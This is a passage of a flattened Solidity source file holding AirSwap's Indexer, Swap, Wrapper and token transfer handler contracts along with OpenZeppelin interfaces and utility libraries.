// Ensure the entry exists.
require(_hasEntry(identifier), "ENTRY_DOES_NOT_EXIST");
// Link the previous and next entries together.
address prevUser = entries[identifier].prev;
address nextUser = entries[identifier].next;
entries[prevUser].next = nextUser;
entries[nextUser].prev = prevUser;
// Delete entry from the index.
delete entries[identifier];
}
/**
* @notice Check if the Index has an Entry
* @param identifier address On-chain address identifying the owner of a locator
* @return bool True if the identifier corresponds to an Entry in the list
*/
function _hasEntry(
address identifier
) internal view returns (bool) {
return entries[identifier].locator != bytes32(0);
}
/**
* @notice Returns the largest scoring Entry Lower than a Score
* @param score uint256 Score in question
* @return address Identifier of the largest score lower than score
*/
function _getEntryLowerThan(
uint256 score
) internal view returns (address) {
address identifier = entries[HEAD].next;
// Head indicates last because the list is circular.
if (score == 0) {
return HEAD;
}
// Iterate until a lower score is found.
while (score <= entries[identifier].score) {
identifier = entries[identifier].next;
}
return identifier;
}
}
// File: @airswap/indexer/contracts/Indexer.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Indexer: A Collection of Index contracts by Token Pair
*/
contract Indexer is IIndexer, Ownable {
// Token to be used for staking (ERC-20)
IERC20 public stakingToken;
// Mapping of signer token to sender token to protocol type to index
mapping (address => mapping (address => mapping (bytes2 => Index))) public indexes;
// The whitelist contract for checking whether a peer is whitelisted per peer type
mapping (bytes2 => address) public locatorWhitelists;
// Mapping of token address to boolean
mapping (address => bool) public tokenBlacklist;
/**
* @notice Contract Constructor
* @param indexerStakingToken address
*/
constructor(
address indexerStakingToken
) public {
stakingToken = IERC20(indexerStakingToken);
}
/**
* @notice Modifier to check an index exists
*/
modifier indexExists(address signerToken, address senderToken, bytes2 protocol) {
require(indexes[signerToken][senderToken][protocol] != Index(0),
"INDEX_DOES_NOT_EXIST");
_;
}
/**
* @notice Set the address of an ILocatorWhitelist to use
* @dev Allows removal of locatorWhitelist by passing 0x0
* @param protocol bytes2 Protocol type for locators
* @param newLocatorWhitelist address Locator whitelist
*/
function setLocatorWhitelist(
bytes2 protocol,
address newLocatorWhitelist
) external onlyOwner {
locatorWhitelists[protocol] = newLocatorWhitelist;
}
/**
* @notice Create an Index (List of Locators for a Token Pair)
* @dev Deploys a new Index contract and stores the address. If the Index already
* @dev exists, returns its address, and does not emit a CreateIndex event
* @param signerToken address Signer token for the Index
* @param senderToken address Sender token for the Index
* @param protocol bytes2 Protocol type for locators in Index
*/
function createIndex(
address signerToken,
address senderToken,
bytes2 protocol
) external returns (address) {
// If the Index does not exist, create it.
if (indexes[signerToken][senderToken][protocol] == Index(0)) {
// Create a new Index contract for the token pair.
indexes[signerToken][senderToken][protocol] = new Index();
emit CreateIndex(signerToken, senderToken, protocol, address(indexes[signerToken][senderToken][protocol]));
}
// Return the address of the Index contract.
return address(indexes[signerToken][senderToken][protocol]);
}
/**
* @notice Add a Token to the Blacklist
* @param token address Token to blacklist
*/
function addTokenToBlacklist(
address token
) external onlyOwner {
if (!tokenBlacklist[token]) {
tokenBlacklist[token] = true;
emit AddTokenToBlacklist(token);
}
}
/**
* @notice Remove a Token from the Blacklist
* @param token address Token to remove from the blacklist
*/
function removeTokenFromBlacklist(
address token
) external onlyOwner {
if (tokenBlacklist[token]) {
tokenBlacklist[token] = false;
emit RemoveTokenFromBlacklist(token);
}
}
/**
* @notice Set an Intent to Trade
* @dev Requires approval to transfer staking token for sender
*
* @param signerToken address Signer token of the Index being staked
* @param senderToken address Sender token of the Index being staked
* @param protocol bytes2 Protocol type for locator in Intent
* @param stakingAmount uint256 Amount being staked
* @param locator bytes32 Locator of the staker
*/
function setIntent(
address signerToken,
address senderToken,
bytes2 protocol,
uint256 stakingAmount,
bytes32 locator
) external indexExists(signerToken, senderToken, protocol) {
// If whitelist set, ensure the locator is valid.
if (locatorWhitelists[protocol] != address(0)) {
require(ILocatorWhitelist(locatorWhitelists[protocol]).has(locator),
"LOCATOR_NOT_WHITELISTED");
}
// Ensure neither of the tokens are blacklisted.
require(!tokenBlacklist[signerToken] && !tokenBlacklist[senderToken],
"PAIR_IS_BLACKLISTED");
bool notPreviouslySet = (indexes[signerToken][senderToken][protocol].getLocator(msg.sender) == bytes32(0));
if (notPreviouslySet) {
// Only transfer for staking if stakingAmount is set.
if (stakingAmount > 0) {
// Transfer the stakingAmount for staking.
require(stakingToken.transferFrom(msg.sender, address(this), stakingAmount),
"STAKING_FAILED");
}
// Set the locator on the index.
indexes[signerToken][senderToken][protocol].setLocator(msg.sender, stakingAmount, locator);
emit Stake(msg.sender, signerToken, senderToken, protocol, stakingAmount);
} else {
uint256 oldStake = indexes[signerToken][senderToken][protocol].getScore(msg.sender);
_updateIntent(msg.sender, signerToken, senderToken, protocol, stakingAmount, locator, oldStake);
}
}
/**
* @notice Unset an Intent to Trade
* @dev Users are allowed to unstake from blacklisted indexes
*
* @param signerToken address Signer token of the Index being unstaked
* @param senderToken address Sender token of the Index being staked
* @param protocol bytes2 Protocol type for locators in Intent
*/
function unsetIntent(
address signerToken,
address senderToken,
bytes2 protocol
) external {
_unsetIntent(msg.sender, signerToken, senderToken, protocol);
}
/**
* @notice Get the locators of those trading a token pair
* @dev Users are allowed to unstake from blacklisted indexes
*
* @param signerToken address Signer token of the trading pair
* @param senderToken address Sender token of the trading pair
* @param protocol bytes2 Protocol type for locators in Intent
* @param cursor address Address to start from
* @param limit uint256 Total number of locators to return
* @return bytes32[] List of locators
* @return uint256[] List of scores corresponding to locators
* @return address The next cursor to provide for pagination
*/
function getLocators(
address signerToken,
address senderToken,
bytes2 protocol,
address cursor,
uint256 limit
) external view returns (
bytes32[] memory locators,
uint256[] memory scores,
address nextCursor
) {
// Ensure neither token is blacklisted.
if (tokenBlacklist[signerToken] || tokenBlacklist[senderToken]) {
return (new bytes32[](0), new uint256[](0), address(0));
}
// Ensure the index exists.
if (indexes[signerToken][senderToken][protocol] == Index(0)) {
return (new bytes32[](0), new uint256[](0), address(0));
}
return indexes[signerToken][senderToken][protocol].getLocators(cursor, limit);
}
/**
* @notice Gets the Stake Amount for a User
* @param user address User who staked
* @param signerToken address Signer token the user staked on
* @param senderToken address Sender token the user staked on
* @param protocol bytes2 Protocol type for locators in Intent
* @return uint256 Amount the user staked
*/
function getStakedAmount(
address user,
address signerToken,
address senderToken,
bytes2 protocol
) public view returns (uint256 stakedAmount) {
if (indexes[signerToken][senderToken][protocol] == Index(0)) {
return 0;
}
// Return the score, equivalent to the stake amount.
return indexes[signerToken][senderToken][protocol].getScore(user);
}
function _updateIntent(
address user,
address signerToken,
address senderToken,
bytes2 protocol,
uint256 newAmount,
bytes32 newLocator,
uint256 oldAmount
) internal {
// If the new stake is bigger, collect the difference.
if (oldAmount < newAmount) {
// Note: SafeMath not required due to the inequality check above
require(stakingToken.transferFrom(user, address(this), newAmount - oldAmount),
"STAKING_FAILED");
}
// If the old stake is bigger, return the excess.
if (newAmount < oldAmount) {
// Note: SafeMath not required due to the inequality check above
require(stakingToken.transfer(user, oldAmount - newAmount));
}
// Update their intent.
indexes[signerToken][senderToken][protocol].updateLocator(user, newAmount, newLocator);
emit Stake(user, signerToken, senderToken, protocol, newAmount);
}
/**
* @notice Unset intents and return staked tokens
* @param user address Address of the user who staked
* @param signerToken address Signer token of the trading pair
* @param senderToken address Sender token of the trading pair
* @param protocol bytes2 Protocol type for locators in Intent
*/
function _unsetIntent(
address user,
address signerToken,
address senderToken,
bytes2 protocol
) internal indexExists(signerToken, senderToken, protocol) {
// Get the score for the user.
uint256 score = indexes[signerToken][senderToken][protocol].getScore(user);
// Unset the locator on the index.
indexes[signerToken][senderToken][protocol].unsetLocator(user);
if (score > 0) {
// Return the staked tokens. Reverts on failure.
require(stakingToken.transfer(user, score));
}
emit Unstake(user, signerToken, senderToken, protocol, score);
}
}
// File: @airswap/swap/contracts/Swap.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Swap: The Atomic Swap used on the AirSwap Network
*/
contract Swap is ISwap {
// Domain and version for use in signatures (EIP-712)
bytes constant internal DOMAIN_NAME = "SWAP";
bytes constant internal DOMAIN_VERSION = "2";
// Unique domain identifier for use in signatures (EIP-712)
bytes32 private _domainSeparator;
// Possible nonce statuses
byte constant internal AVAILABLE = 0x00;
byte constant internal UNAVAILABLE = 0x01;
// Mapping of sender address to a delegated sender address and bool
mapping (address => mapping (address => bool)) public senderAuthorizations;
// Mapping of signer address to a delegated signer and bool
mapping (address => mapping (address => bool)) public signerAuthorizations;
// Mapping of signers to nonces with value AVAILABLE (0x00) or UNAVAILABLE (0x01)
mapping (address => mapping (uint256 => byte)) public signerNonceStatus;
// Mapping of signer addresses to an optionally set minimum valid nonce
mapping (address => uint256) public signerMinimumNonce;
// A registry storing a transfer handler for different token kinds
TransferHandlerRegistry public registry;
/**
* @notice Contract Constructor
* @dev Sets domain for signature validation (EIP-712)
* @param swapRegistry TransferHandlerRegistry
*/
constructor(TransferHandlerRegistry swapRegistry) public {
_domainSeparator = Types.hashDomain(
DOMAIN_NAME,
DOMAIN_VERSION,
address(this)
);
registry = swapRegistry;
}
/**
* @notice Atomic Token Swap
* @param order Types.Order Order to settle
*/
function swap(
Types.Order calldata order
) external {
// Ensure the order is not expired.
require(order.expiry > block.timestamp,
"ORDER_EXPIRED");
// Ensure the nonce is AVAILABLE (0x00).
require(signerNonceStatus[order.signer.wallet][order.nonce] == AVAILABLE,
"ORDER_TAKEN_OR_CANCELLED");
// Ensure the order nonce is above the minimum.
require(order.nonce >= signerMinimumNonce[order.signer.wallet],
"NONCE_TOO_LOW");
// Mark the nonce UNAVAILABLE (0x01).
signerNonceStatus[order.signer.wallet][order.nonce] = UNAVAILABLE;
// Validate the sender side of the trade.
address finalSenderWallet;
if (order.sender.wallet == address(0)) {
/**
* Sender is not specified. The msg.sender of the transaction becomes
* the sender of the order.
*/
finalSenderWallet = msg.sender;
} else {
/**
* Sender is specified. If the msg.sender is not the specified sender,
* this determines whether the msg.sender is an authorized sender.
*/
require(isSenderAuthorized(order.sender.wallet, msg.sender),
"SENDER_UNAUTHORIZED");
// The msg.sender is authorized.
finalSenderWallet = order.sender.wallet;
}
// Validate the signer side of the trade.
if (order.signature.v == 0) {
/**
* Signature is not provided. The signer may have authorized the
* msg.sender to swap on its behalf, which does not require a signature.
*/
require(isSignerAuthorized(order.signer.wallet, msg.sender),
"SIGNER_UNAUTHORIZED");
} else {
/**
* The signature is provided. Determine whether the signer is
* authorized and if so validate the signature itself.
*/
require(isSignerAuthorized(order.signer.wallet, order.signature.signatory),
"SIGNER_UNAUTHORIZED");
// Ensure the signature is valid.
require(isValid(order, _domainSeparator),
"SIGNATURE_INVALID");
}
// Transfer token from sender to signer.
transferToken(
finalSenderWallet,
order.signer.wallet,
order.sender.amount,
order.sender.id,
order.sender.token,
order.sender.kind
);
// Transfer token from signer to sender.
transferToken(
order.signer.wallet,
finalSenderWallet,
order.signer.amount,
order.signer.id,
order.signer.token,
order.signer.kind
);
// Transfer token from signer to affiliate if specified.
if (order.affiliate.token != address(0)) {
transferToken(
order.signer.wallet,
order.affiliate.wallet,
order.affiliate.amount,
order.affiliate.id,
order.affiliate.token,
order.affiliate.kind
);
}
emit Swap(
order.nonce,
block.timestamp,
order.signer.wallet,
order.signer.amount,
order.signer.id,
order.signer.token,
finalSenderWallet,
order.sender.amount,
order.sender.id,
order.sender.token,
order.affiliate.wallet,
order.affiliate.amount,
order.affiliate.id,
order.affiliate.token
);
}
/**
* @notice Cancel one or more open orders by nonce
* @dev Cancelled nonces are marked UNAVAILABLE (0x01)
* @dev Emits a Cancel event
* @dev Out of gas may occur in arrays of length > 400
* @param nonces uint256[] List of nonces to cancel
*/
function cancel(
uint256[] calldata nonces
) external {
for (uint256 i = 0; i < nonces.length; i++) {
if (signerNonceStatus[msg.sender][nonces[i]] == AVAILABLE) {
signerNonceStatus[msg.sender][nonces[i]] = UNAVAILABLE;
emit Cancel(nonces[i], msg.sender);
}
}
}
/**
* @notice Cancels all orders below a nonce value
* @dev Emits a CancelUpTo event
* @param minimumNonce uint256 Minimum valid nonce
*/
function cancelUpTo(
uint256 minimumNonce
) external {
signerMinimumNonce[msg.sender] = minimumNonce;
emit CancelUpTo(minimumNonce, msg.sender);
}
/**
* @notice Authorize a delegated sender
* @dev Emits an AuthorizeSender event
* @param authorizedSender address Address to authorize
*/
function authorizeSender(
address authorizedSender
) external {
require(msg.sender != authorizedSender, "SELF_AUTH_INVALID");
if (!senderAuthorizations[msg.sender][authorizedSender]) {
senderAuthorizations[msg.sender][authorizedSender] = true;
emit AuthorizeSender(msg.sender, authorizedSender);
}
}
/**
* @notice Authorize a delegated signer
* @dev Emits an AuthorizeSigner event
* @param authorizedSigner address Address to authorize
*/
function authorizeSigner(
address authorizedSigner
) external {
require(msg.sender != authorizedSigner, "SELF_AUTH_INVALID");
if (!signerAuthorizations[msg.sender][authorizedSigner]) {
signerAuthorizations[msg.sender][authorizedSigner] = true;
emit AuthorizeSigner(msg.sender, authorizedSigner);
}
}
/**
* @notice Revoke an authorized sender
* @dev Emits a RevokeSender event
* @param authorizedSender address Address to revoke
*/
function revokeSender(
address authorizedSender
) external {
if (senderAuthorizations[msg.sender][authorizedSender]) {
delete senderAuthorizations[msg.sender][authorizedSender];
emit RevokeSender(msg.sender, authorizedSender);
}
}
/**
* @notice Revoke an authorized signer
* @dev Emits a RevokeSigner event
* @param authorizedSigner address Address to revoke
*/
function revokeSigner(
address authorizedSigner
) external {
if (signerAuthorizations[msg.sender][authorizedSigner]) {
delete signerAuthorizations[msg.sender][authorizedSigner];
emit RevokeSigner(msg.sender, authorizedSigner);
}
}
/**
* @notice Determine whether a sender delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to send
*/
function isSenderAuthorized(
address authorizer,
address delegate
) internal view returns (bool) {
return ((authorizer == delegate) ||
senderAuthorizations[authorizer][delegate]);
}
/**
* @notice Determine whether a signer delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to sign
*/
function isSignerAuthorized(
address authorizer,
address delegate
) internal view returns (bool) {
return ((authorizer == delegate) ||
signerAuthorizations[authorizer][delegate]);
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param order Types.Order Order to validate
* @param domainSeparator bytes32 Domain identifier used in signatures (EIP-712)
* @return bool True if order has a valid signature
*/
function isValid(
Types.Order memory order,
bytes32 domainSeparator
) internal pure returns (bool) {
if (order.signature.version == byte(0x01)) {
return order.signature.signatory == ecrecover(
Types.hashOrder(
order,
domainSeparator
),
order.signature.v,
order.signature.r,
order.signature.s
);
}
if (order.signature.version == byte(0x45)) {
return order.signature.signatory == ecrecover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
Types.hashOrder(order, domainSeparator)
)
),
order.signature.v,
order.signature.r,
order.signature.s
);
}
return false;
}
/**
* @notice Perform token transfer for tokens in registry
* @dev Transfer type specified by the bytes4 kind param
* @dev ERC721: uses transferFrom for transfer
* @dev ERC20: Takes into account non-standard ERC-20 tokens.
* @param from address Wallet address to transfer from
* @param to address Wallet address to transfer to
* @param amount uint256 Amount for ERC-20
* @param id token ID for ERC-721
* @param token address Contract address of token
* @param kind bytes4 EIP-165 interface ID of the token
*/
function transferToken(
address from,
address to,
uint256 amount,
uint256 id,
address token,
bytes4 kind
) internal {
// Ensure the transfer is not to self.
require(from != to, "SELF_TRANSFER_INVALID");
ITransferHandler transferHandler = registry.transferHandlers(kind);
require(address(transferHandler) != address(0), "TOKEN_KIND_UNKNOWN");
// delegatecall required to pass msg.sender as Swap contract to handle the
// token transfer in the calling contract
(bool success, bytes memory data) = address(transferHandler).
delegatecall(abi.encodeWithSelector(
transferHandler.transferTokens.selector,
from,
to,
amount,
id,
token
));
require(success && abi.decode(data, (bool)), "TRANSFER_FAILED");
}
}
// File: @airswap/tokens/contracts/interfaces/IWETH.sol
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @airswap/wrapper/contracts/Wrapper.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Wrapper: Send and receive ether for WETH trades
*/
contract Wrapper {
// The Swap contract to settle trades
ISwap public swapContract;
// The WETH contract to wrap ether
IWETH public wethContract;
/**
* @notice Contract Constructor
* @param wrapperSwapContract address
* @param wrapperWethContract address
*/
constructor(
address wrapperSwapContract,
address wrapperWethContract
) public {
swapContract = ISwap(wrapperSwapContract);
wethContract = IWETH(wrapperWethContract);
}
/**
* @notice Required when withdrawing from WETH
* @dev During unwraps, WETH.withdraw transfers ether to msg.sender (this contract)
*/
function() external payable {
// Ensure the message sender is the WETH contract.
if(msg.sender != address(wethContract)) {
revert("DO_NOT_SEND_ETHER");
}
}
/**
* @notice Send an Order to be forwarded to Swap
* @dev Sender must authorize this contract on the swapContract
* @dev Sender must approve this contract on the wethContract
* @param order Types.Order The Order
*/
function swap(
Types.Order calldata order
) external payable {
// Ensure msg.sender is sender wallet.
require(order.sender.wallet == msg.sender,
"MSG_SENDER_MUST_BE_ORDER_SENDER");
// Ensure that the signature is present.
// The signature will be explicitly checked in Swap.
require(order.signature.v != 0,
"SIGNATURE_MUST_BE_SENT");
// Wraps ETH to WETH when the sender provides ETH and the order is WETH
_wrapEther(order.sender);
// Perform the swap.
swapContract.swap(order);
// Unwraps WETH to ETH when the sender receives WETH
_unwrapEther(order.sender.wallet, order.signer.token, order.signer.amount);
}
/**
* @notice Send an Order to be forwarded to a Delegate
* @dev Sender must authorize the Delegate contract on the swapContract
* @dev Sender must approve this contract on the wethContract
* @dev Delegate's tradeWallet must be order.sender - checked in Delegate
* @param order Types.Order The Order
* @param delegate IDelegate The Delegate to provide the order to
*/
function provideDelegateOrder(
Types.Order calldata order,
IDelegate delegate
) external payable {
// Ensure that the signature is present.
// The signature will be explicitly checked in Swap.
require(order.signature.v != 0,
"SIGNATURE_MUST_BE_SENT");
// Wraps ETH to WETH when the signer provides ETH and the order is WETH
_wrapEther(order.signer);
// Provide the order to the Delegate.
delegate.provideOrder(order);
// Unwraps WETH to ETH when the signer receives WETH
_unwrapEther(order.signer.wallet, order.sender.token, order.sender.amount);
}
/**
* @notice Wraps ETH to WETH when a trade requires it
* @param party Types.Party The side of the trade that may need wrapping
*/
function _wrapEther(Types.Party memory party) internal {
// Check whether ether needs wrapping
if (party.token == address(wethContract)) {
// Ensure message value is param.
require(party.amount == msg.value,
"VALUE_MUST_BE_SENT");
// Wrap (deposit) the ether.
wethContract.deposit.value(msg.value)();
// Transfer the WETH from the wrapper to party.
// Return value not checked - WETH throws on error and does not return false
wethContract.transfer(party.wallet, party.amount);
} else {
// Ensure no unexpected ether is sent.
require(msg.value == 0,
"VALUE_MUST_BE_ZERO");
}
}
/**
* @notice Unwraps WETH to ETH when a trade requires it
* @dev The unwrapping only succeeds if recipientWallet has approved transferFrom
* @param recipientWallet address The trade recipient, who may have received WETH
* @param receivingToken address The token address the recipient received
* @param amount uint256 The amount of token the recipient received
*/
function _unwrapEther(address recipientWallet, address receivingToken, uint256 amount) internal {
// Check whether ether needs unwrapping
if (receivingToken == address(wethContract)) {
// Transfer weth from the recipient to the wrapper.
wethContract.transferFrom(recipientWallet, address(this), amount);
// Unwrap (withdraw) the ether.
wethContract.withdraw(amount);
// Transfer ether to the recipient.
// solium-disable-next-line security/no-call-value
(bool success, ) = recipientWallet.call.value(amount)("");
require(success, "ETH_RETURN_FAILED");
}
}
}
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @airswap/tokens/contracts/interfaces/IERC1155.sol
/**
*
* Copied from OpenZeppelin ERC1155 feature branch from (20642cca30fa18fb167df6db1889b558742d189a)
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/feature-erc1155/contracts/token/ERC1155/ERC1155.sol
*/
/**
@title ERC-1155 Multi Token Standard basic interface
@dev See https://eips.ethereum.org/EIPS/eip-1155
*/
contract IERC1155 is IERC165 {
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id) public view returns (uint256);
function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 id, uint256 value, bytes calldata data) external;
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data) external;
}
// File: @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract ERC1155TransferHandler is ITransferHandler {
/**
* @notice Function to wrap safeTransferFrom for ERC1155
* @param from address Wallet address to transfer from
* @param to address Wallet address to transfer to
* @param amount uint256 Amount for ERC-1155
* @param id uint256 token ID for ERC-1155
* @param token address Contract address of token
* @return bool on success of the token transfer
*/
function transferTokens(
address from,
address to,
uint256 amount,
uint256 id,
address token
) external returns (bool) {
IERC1155(token).safeTransferFrom(
from,
to,
id,
amount,
"" // bytes are empty
);
return true;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract ERC20TransferHandler is ITransferHandler {
using SafeERC20 for IERC20;
/**
* @notice Function to wrap safeTransferFrom for ERC20
* @param from address Wallet address to transfer from
* @param to address Wallet address to transfer to
* @param amount uint256 Amount for ERC-20
* @param id uint256 ID, must be 0 for this contract
* @param token address Contract address of token
* @return bool on success of the token transfer
*/
function transferTokens(
address from,
address to,
uint256 amount,
uint256 id,
address token
) external returns (bool) {
require(id == 0, "ID_INVALID");
IERC20(token).safeTransferFrom(from, to, amount);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
